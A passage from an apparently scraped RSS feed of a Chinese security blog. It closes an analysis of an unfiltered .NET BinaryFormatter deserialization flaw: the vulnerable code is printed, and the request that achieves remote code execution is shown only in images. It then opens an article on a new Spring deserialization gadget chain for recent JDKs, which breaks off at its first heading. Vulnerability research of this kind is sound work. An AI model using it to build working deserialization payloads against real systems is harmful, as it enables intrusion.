5px;border-radius: 4px;"><span leaf="">GZip</span></code><span leaf=""> 解压缩处理，最终通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BinaryFormatter</span></code><span leaf=""> 进行反序列化，这里没有进行任何限制与过滤，存在反序列化漏洞：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">BinaryFormatter binaryFormatter = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> BinaryFormatter();</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">byte</span></span><span leaf="">[] array = Convert.FromBase64String(str);</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">object</span></span><span leaf=""> obj;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">try</span></span><span leaf="">{</span><span leaf="">    obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);</span><span leaf="">}</span><span leaf="">...</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">//Base64EncodingHelper.DeserializeHelper</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">using</span></span><span leaf=""> (MemoryStream memoryStream = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> MemoryStream(buffer))</span><span leaf="">{</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">using</span></span><span leaf=""> (GZipStream gzipStream = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> GZipStream(memoryStream, CompressionMode.Decompress))</span><span leaf="">    {</span><span leaf="">        obj = formatter.Deserialize(gzipStream);</span><span leaf="">    }</span><span leaf="">}</span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞复现</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">按照上面分析构造如下请求可触发 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008678" class="rich_pages wxw-img" data-ratio="0.30648148148148147" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=8f5bef41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6KydgEe6v6kGYxKk8Jxwicrud4C4IavOytVBcrfzPKQfeUMu9RWU8HrSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">完整调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008679" class="rich_pages wxw-img" data-ratio="0.49907407407407406" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=33b59f31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6K0rEhuaHy5O6YGq0np5R95ibE7cwBTNyxuQ3cHtYgHe7ZMcjWH8HlZhQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247492335">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fd471c71&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492335%26idx%3D1%26sn%3Dcc5f8d6f3d07b361d81bfabbfbf838e9">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 07 Sep 2025 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>通杀高版本JDK: Spring最新无依赖原生反序列化漏洞利用链分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492311&amp;idx=1&amp;sn=9922b0495216c1442d0b9868051388be</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-08-23 11:59</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=76d633bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAyNID8q0EQEsFUCACPagdwzS0PiaCiaup8qfkQUehUdaJDlSvZqDzJuWQej7RdRASq0RylgV1zPia9eQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最近网上公开了高版本 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK</span></code><span leaf="">下的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Spring</span></code><span leaf="">原生反序列化链，这个是真正的完全依赖</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Spring</span></code><span leaf="">框架自身的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></code><span leaf="">。前几年披露的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Jackson gadget</span></code><span leaf="">在高版本</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK</span></code><span leaf="">中无法直接使用，而前段时间披露的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SpringAOP gadget</span></code><span leaf="">仍需要额外的依赖库。此次公开的链不需要任何第三方依赖，其中涉及的每一个知识点都是公开的，并且让类似</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl</span></code><span leaf="">这种在高版本</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK</span></code><span leaf="">中已被“遗弃”的利用方式再次回归，串起了一个通用性极强的新</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></code><span leaf=""> 。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 